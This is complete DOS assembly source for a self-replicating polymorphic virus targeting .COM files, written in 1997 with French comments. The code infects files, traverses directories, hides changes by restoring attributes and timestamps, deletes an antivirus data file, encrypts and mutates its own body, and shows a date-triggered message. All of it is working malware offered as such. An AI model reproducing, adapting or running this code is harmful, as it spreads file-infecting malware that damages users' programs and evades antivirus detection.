; nom: UNKM.COM.3.general , UnKm-Poly2 pour etre + simple
; ALIAS The GeNeRaL Virus :-)
; taille : +- 1020 octets 

; **************************************************************************

.model TINY                          ; <--- On s'en tape 
.code                                ; <--- ca aussi on s'en tape

org 100h                             ; <--- ca c pour dire que c un fichier com
				     ; mais on s'en tape aussi
START:  JMP VIRUS                               
	NOP
	NOP
	NOP                                                

VIRUS  proc near
NOP1:	NOP
	NOP	
CALL STARTUP


STARTUP:
NOP2:	NOP
	NOP
	pop bp
NOP3:   NOP
	NOP
	sub bp, offset startup        
NOP4:   NOP
	NOP
	Call unpoly
	lea di,[BP+debC]
	MOV DL,BYTE PTR[BP+JOFFSET-1]
	XOR DL,0e9h                             ; Here simulate the Key
	LEA DI,[BP+DEBC]
	call encrypt
	JMP debc

; da U=N=K=M's bad Mutationmorfic Engine
; Holymorficus v1.0 , it's THE WORST polymorfic's routine of the world
; decrypt holymorix garbage-real data

ADDED: DB 0,0
CLEP:   DB 0

writeon         proc near               ; WRITEON 1.0C holymorfix revised
					; for encrypted routine compatble
					; by UnKm '97
CALL HEADUP
MOV DX,WORD PTR[BP+DTA+26]
LEA DI,BYTE PTR[BP+DEBC]
CALL ENCRYPT
CALL HOLYMORFIX
MOV AH,40h
MOV CX,DEBP-VIRUS
LEA DX,[BP+VIRUS]
INT 21h
MOV AH,40h                              ; 
MOV CX,WORD PTR[BP+ADDED]               ; move new size data area 
LEA DX,[BP+STARZTE]                     ; move in DX Starzte
INT 21h                                 ; store it
MOV DX,WORD PTR[BP+DTA+26]
LEA DI,BYTE PTR[BP+DEBC]
CALL ENCRYPT
RET

writeon         endp

UNPOLY:         MOV     DL,BYTE PTR[BP+CLEP]
		CALL    POLYO
RETURNO:        RET

POLYO:          LEA     SI,[BP+DEBP]
		MOV     DI,SI
		MOV     CX,WORD PTR[BP+ADDED]
		MOV     AX,0
		MOV     DH,DL
manoloop:       MOV     DL,DH
		AND     DL,00000001b
		CMP     DL,00000001b
		JNE     ADDCODEO
CONTINFALSEO:   ;DEC     CX
CONTINUEO:      INC     SI
		ROL     DH,1
		LOOP MANOLOOP
		RET

ADDCODEO:       PUSH DX
		MOV DH,BYTE PTR[SI]
		MOV BYTE PTR[DI],DH
		POP DX
		INC DI
		JMP CONTINUEO


;
; nD Of COntRoL ZOnE (---
;
; HŽzƒRdOšs POlYmOrPH|C ZonE beGIn h‰r
;
; Holymorfic Holymorfic Holymorfic Holymorfic Holymorfic Holymorfic
; Holymorfic Holymorfic Holymorfic Holymorfic Holymorfic Holymorfic
; Holymorfic Holymorfic Holymorfic Holymorfic Holymorfic Holymorfic
; -=U³N|K³M=- HOLYMORFIX , this program generate with a variable key an
; modification in the code , the key is analyzed in binary and 1 are the real
; key and 0 are garbage instruction , CODED WITHOUT EXPAMPLE OR TUTORIAL
; it is the worst POLYMORFIC engine i known


holymorfix:         MOV DX,WORD PTR[BP+DTA+26]

DETERMIN:       CMP     DL,100
		JB      Addedid
		CMP     DL,200
		JA      Subed
		MOV     BYTE PTR[BP+CLEP],DL
		CALL    POLY
		RET

Subed:          SUB DL,25
JMP DETERMIN

Addedid:        ADD DL,50       
JMP DETERMIN

POLY:           LEA     SI,[BP+STARZTE]
		LEA     DI,[BP+debp]
		MOV     CX,finp-debp
		MOV     AX,0
		MOV     DH,DL
mainloop:       MOV     DL,DH
		AND     DL,00000001b
		CMP     DL,00000001b
		JNE     ADDCODE
		JMP     JUNKGENER
CONTINFALSE:    INC     CX
		INC     AX
CONTINUE:       INC     SI
		ROL     DH,1
		LOOP MAINLOOP
		MOV WORD PTR[BP+ADDED],AX
		RET

JUNKGENER:
PUSH DX
MOV DH,BYTE PTR[SI+7996]
ADD DH,CL
ADD DH,DH
MOV BYTE PTR[SI],DH
POP DX
JMP CONTINFALSE

ADDCODE:        PUSH DX
		MOV DH,BYTE PTR[DI]
		MOV BYTE PTR[SI],DH
		POP DX
		INC AX
		INC DI
		JMP CONTINUE

RETRN:  XOR DH,DL 
	MOV BYTE PTR[DI],DH             ; la destination
	ret

Encrypt         proc near                       ; routine d'encryption
						; d‚cryption
		LEA SI,[BP+DEBC]                
		MOV CX,finc-debc                      
				
Looping:        MOV DH,BYTE PTR[SI]             ; la source
		CALL RETRN
		INC DI
		INC SI                           
		Loop Looping                     
		ret

Encrypt         endp

; Hey BiTCHÓS ! ThEY ArE N!O K‰Yz

Debc:
DEBP:

LEA SI,[BP+ORIG_START]                          ; restaure les octets
MOV DI,100h-1                                   ; sur 100h
INC DI
movsw
movsw
movsw

mov byte ptr[BP+Orig_start-2],'m'

LEA DX,[BP+DTA]                                 ; fixe l'adresse en DX
MOV AH,1Ah                                      ; fixe en ax la fonction
INT 21h                                         ; et vas l'‚xecuter

MOV WORD PTR[BP+COMPTEUR],00h

SAVETHISREP:
MOV AH,47h
MOV DL,0
LEA SI,[BP+SAVEREP]                             ;
INT 21h                                         ; sauve le repertoire
MOV BYTE PTR[SI-1],92                           ; voir 30 ligne plus haut 
						; pour savoir pourquoi
CALL OPENFIRST                                  ; d‚pouille la dir

FAILED:                                         
MOV CL,BYTE PTR[BP+COMPTEUR]                         
CMP CL,1
JE SELECTDIR

JUMPTODAROOT:
MOV AH,3Bh
LEA DX,[BP+RETLOOP]                     
INT 21H                                 ; fixe la directorie
JC INDAROOT                             ; erreur ? et bien on est dans la root
CMP BYTE PTR[BP+COMPTEUR+1],0
JE INFECTROOT
JMP JUMPTODAROOT

INFECTROOT:
CALL OPENFIRST                          ; infecte la directorie

RETLOOP:        db      '..',0

INDAROOT:
MOV BYTE PTR[BP+COMPTEUR],1

SELECTDIR:

MOV AH,4Eh
MOV CX,1110110b                                 ; attribut pour les dirs 
LEA DX,[BP+STEP]                                ; en suis pas sur vu que
INT 21H                                         ; j'ai pas de doc la dessus
JC QUIT
MOV CX,0
MOV CL,BYTE PTR[BP+COMPTEUR+1]                  ; met en CX le nombre de dir
						; deja fouill‚e
CMP CL,15                                       ; 15 dirs deja scan‚e ?
JE QUIT                                         ; oui ben quitte

LOOPED: CMP CL,0
	JE ENTERDIR1
	MOV AH,4Fh                      ; cherche la directorie suivante
	Int 21h                         ; autant de fois que placer sur cx
	JC QUIT
	LOOP LOOPED

ENTERDIR1:

MOV CL,BYTE PTR[BP+COMPTEUR+1]          
ADD CL,1                                ; ajoute un au nombre de dir fouill‚e
MOV BYTE PTR[BP+COMPTEUR+1],CL

MOV DX,WORD PTR[BP+DTA+30]              ; j'‚vite la directorie c:\dos
CMP DX,'OD'                             ; parceque 1ų) la majorit‚e des com
					; y sont 2ų) certains de ceux ci
					; plante sous l'infection d'un virus
JE SELECTDIR                            
MOV AH,3Bh                              ; fixe la directorie trouv‚e sur la 
LEA DX,[BP+DTA+30]                      ; dta 
INT 21h                                 ; ouvre cette dir
JC SELECTDIR                            ; ya un prob , ben c'‚tait pas une dir
MOV BYTE PTR[BP+COMPTEUR],0             ; met 0 sur dashit puisqu'on est plus 
					; sur la dir
OPENFIRST:

CALL KILLAV

MOV AH,4Eh                              ; recherche 1er fichier dans la dir
MOV CX,00000110B                        ; fichiers cach‚s et RO ok pour infect.
LEA DX,[BP+COMFILE]                     ; met en DX comfile --> *.com
INT 21h                                 ; execute 
JC GOFAILED                               ; si y'en a pas , byebye
CALL INFECT                             ; ok infecte

GOFAILED:
JMP FAILED

CLOSE:
MOV AH,3EH                              ; ferme le fichier ouvert 
INT 21h                                 ; appel d'int‚ruption

PLUS:
MOV AX,4F00h                            ; vas cherche le prochian fichier
INT 21h
JC GOFAILED                            ; si yen a plus ---> jump quit 
CALL INFECT                             ; il vas aller infecter 
JNZ CLOSE                               ; si le fichier est pas bon , close

QUIT: 

CALL trojan

RESTOREP:
MOV AH,3Bh
LEA DX,[BP+SAVEREP-1]
INT 21h

MOV DX,80h                              ; ici il fixe en dx l'adresse de la 
MOV AH,1AH-1                            ; nouvelle dta , 
INC AH
INT 21h                                 
MOV DI,100h-1
INC DI                                ; met 100h en DI
JMP DI                                  ; saute sur 100h

INFECT proc near                        ; ici repr‚sente la sous-fonction
					; de non-r‚infection et d'infection
MOV AX,3D00H                            ; ouvre en lecture seule
LEA DX,[BP+DTA+30]                      ; met sur Dx le nom du fichier a tester
INT 21H                                 ; appel a l'int‚ruption 21h
MOV BX,AX                               ; refixe AX sur BX pour les prochaines 
					; int‚ruptions

MOV CX,WORD PTR[BP+DTA+26]              ; Compare la grandeur du fichier
CMP CX,5000                             ; si inf‚rieur a 5000
JNA REFUSE                              ; retour comme fichier invalide
CMP CX,58000
JA REFUSE
					; a l'infection
MOV AX,4200h                            ; repositionne au d‚but
MOV CX,0                                ; a z‚ro
MOV DX,0                                ; octet du d‚but
INT 21H

MOV AH,3FH                              ; se pr‚pare a lire 
MOV CX,2                                ; 2 octets
LEA DX,[BP+EXETEST]                     ; les placent dans EXETEST
INT 21H                                 ; et les stockes
MOV CX,WORD PTR[BP+EXETEST]             ; fixe les octets dans CX
MOV DX,'MZ'                             ; met en DX le mot MZ
CMP CX,DX                               ; compare CX et DX
JE REFUSE                               ; si ils sont identique : movais
MOV DX,'ZM'                             ; met en DX le mot ZM
CMP CX,DX                               ; si ils sont identique : movais
JE REFUSE

MOV DX,WORD PTR[BP+DTA+26]                      ; grandeur du fichier>4 octets
SUB DX,3                                        ; on enlŠve 3 a DX
MOV WORD PTR[BP+JOFFSET],DX                     ; ici sauvegarde en JOFFSET
MOV AX,4200h
MOV CX,0
MOV DX,3                                  ; se place a l'endroit de COMFILE
INT 21h                                         ; positionner a 14 octets de la
MOV AH,3FH                                      ; et se pr‚pare a lire
MOV CX,3                                        ; 2 octets
LEA DX,[BP+MTESTOS]                             ; les stock sur MTEST
INT 21H                                         ; appel d'int‚ruption
MOV DH,BYTE PTR[BP+MTESTOS]
XOR BYTE PTR[BP+MTEST],DH
XOR BYTE PTR[BP+MTEST+1],DH
MOV AX,WORD PTR[BP+MTEST]                       ; compare Mtest a la marque
MOV CX,'ZB'                                     ; du virus ici ZB encrypt‚
CMP AX,CX                                       ; comparaison

JNE SUIVANT                                     ; diff‚rent > ajoute code

REFUSE:                                         

CALL PLUS

SUIVANT:                                

MOV AH,3EH                                      ; ferme fichier
INT 21H

MOV AX,4300H                                    ; se pr‚pare a lire les
MOV CX,0                                        ; attributs du fichiers
LEA DX,[BP+DTA+30]                              ; infect‚ (celui dans la dta)
INT 21H                                         ; et execute
MOV WORD PTR [BP+IZNOGOOD],CX                  ; place les attributs a IZNOGOOD
MOV AX,4300H                                 ; maintenant fixe les attributs
ADD AL,1                                        ; antiflags
MOV CX,0                                        ; a z‚ro
INT 21H

MOV AX,3D02H                                    ; R‚ouvre en ‚criture seule
LEA DX,[BP+DTA+30]                              ; le fichier pret-a-infecter
INT 21H                                         
MOV BX,AX                                       ; replace le handle en BX

MOV AX,4200h                                    ; Positionne au d‚but
MOV CX,0                                        ; se postionne au d‚but
MOV DX,0                                        ; au tout d‚but
INT 21h                                         ; il y vas
MOV AH,3FH                                      ; lit 3 octets et les stocke
MOV CX,6                                        ; dans origstart
LEA DX,[BP+ORIG_START]                          ; ceux ci seront plac‚ a 
INT 21h                                         ; 100h au d‚marrage du prog
					
MOV AX,4200H                                    ; se repostionne au d‚but
MOV CX,00                                       ; au commencement
MOV DX,00                                       ; ben vi , le d‚ - but
INT 21H                                         ; appel d'int‚ruption
MOV WORD PTR[BP+TESTINF+1],'ZB'
MOV DX,WORD PTR[BP+DTA+26]
MOV BYTE PTR[BP+TESTINF],DL
XOR BYTE PTR[BP+TESTINF+1],DL
XOR BYTE PTR[BP+TESTINF+2],DL
MOV AH,40H-1                                    ; ‚crit le JMP qui 
INC AH
MOV CX,6                                        ; va envoyer vers le virus
LEA DX,[BP+HEADER]                              ; dans le fichier inf‚ct‚
INT 21H
MOV WORD PTR[BP+TESTINF],'ZB'

MOV AX,4202h                                    ; postionne a la fin
MOV CX,00                                       ; tout a la fin
MOV DX,00                                       ; au dernier octet
INT 21h                                         ; appel d'int‚ruption

mov byte ptr[BP+Orig_start-2],'!'

CALL WRITEON                         

MOV AX,5700H                                   ; nous restaurons la
ADD AL,1
MOV CX,WORD PTR [BP+DTA+22]                     ; derniŠre heure d'‚criture
MOV DX,WORD PTR [BP+DTA+24]                     ; deniŠre date d'‚criture
INT 21H

mov ah,3Eh                                      ; ferme  le fichier
int 21h

MOV CX,WORD PTR[BP+IZNOGOOD]                    ; r‚staure les attributs
MOV AX,4300H                                    ; sauvegarder dans la dta
ADD AL,1                                        ; antiflags
LEA DX,[BP+DTA+30]                              ; au programme infect‚  
INT 21H

CALL QUIT

INFECT endp

Trojan  proc near

mov ah,2AH-1                            ; lis la date
INC Ah
INT 21H                                 ; par le dos

CMP DH,11                                ; compare le mois avec 11
JA OK2                                  ; si plus grand ÄÄÄ> ok
JMP RETOUR
OK2:    CMP DL,1                       ; compare le jour avec 1
JA OK                                   ; si plus grand ÄÄÄ> ok
JMP RETOUR                              ; retour

; l'utilisateur aura l'extrŠme surprise le 1 er d‚cembre de savoir qu'il 
; est infect‚
; Inserez votre programme ici

OK:
MOV AH,9H
LEA DX,[BP+TM]
INT 21H

RETOUR: RET

TM:     DB     'UNKM Infect The WorlD!',36 

Trojan endp

KILLAV:         MOV     AX,4301h
		MOV     CX,0
		LEA     DX,[BP+ANTIV]
		INT     21h
		CMP     AX,5
		JE      QUITT
		JC      KRET
		MOV     AH,41h
		LEA     DX,[BP+ANTIV]
		INT     21h
KRET:           RET
QUITT:          CALL QUIT

ANTIV:          DB 'anti-vir.dat',0

HEADUP:

; PIFOMETER 1.0 , c'est un grave programme trŠs babacool a la con qui simule 
; 4 nombres entre 1 et 10 correspondant au Codopiflist1 , il en modifie la
; tˆte du virus en cons‚quence

MOV AH,2Ch
INT 21h
PUSH DX
CALL DIVIDER

LEA SI,[BP+CDP1]
CALL MACX
ADD SI,CX
MOV CX,WORD PTR [SI]
MOV WORD PTR [BP+NOP1],CX

LEA SI,[BP+CDP1]
CALL MADX
ADD SI,CX
MOV CX,WORD PTR [SI]
MOV WORD PTR [BP+NOP2],CX

POP DX
MOV DL,DH
CALL DIVIDER

LEA SI,[BP+CDP1]
CALL MACX
ADD SI,CX
MOV CX,WORD PTR [SI]
MOV WORD PTR[BP+NOP3],CX

LEA SI,[BP+CDP1]
CALL MADX
ADD SI,CX
MOV CX,WORD PTR [SI]
MOV WORD PTR[BP+NOP4],CX

ret

MACX:
MOV CX,0

LoopX1: CMP     AL,0
	JE      OKAY1
	SUB     AL,1
	ADD     CX,1
	JMP     LOOPX1
OKAY1: ret

MADX:   
MOV CX,0
LOOPX2: CMP     AH,0
	JE      OKAY2
	SUB     AH,1
	ADD     CX,1
	JMP     LOOPX2
OKAY2: ret

Divider:
MOV AX,0
MOV CL,DL

loop2:  CMP     CL,10
	JB      OKAY
	SUB     CL,10
	ADD     AH,1
	JMP     loop2
OKAY:   MOV     AL,CL
	ADD     AH,AH
	ADD     AL,AL
ret

CDP1:      MOV CX,CX                            ; le Codopiflist -
	   MOV BX,BX
	   XCHG DX,DX
	   XCHG CH,CH
	   XCHG BH,BH
	   MOV AH,AH
	   MOV DH,DH
	   XCHG DL,DL
	   XCHG AL,AL
	   NOP
	   NOP
SECURECODO:     NOP
		NOP

STEP:           DB '*.',0
IZNOGOOD:       DB 0,0
COMFILE:        DB '*.co!',0
ORIG_START:     DB 0CDh,20h,0,0,0,0           ; --> les pseudos premiers octets
HEADER:         DB 0E9H
VIRUS           endp
finp:
finc:
JOFFSET:        DW ?
TESTINF:        DB 0,0,0
DTA:            DW 64 dup (?)
MTESTOS:        DB 0
MTEST:          DW ?
EXETEST:        DW ?
STARZTE:        DB (finp-debp)*7 dup (?)
COMPTEUR:       DW ?
NOREP:          DB ?
SAVEREP:        DW ?
end start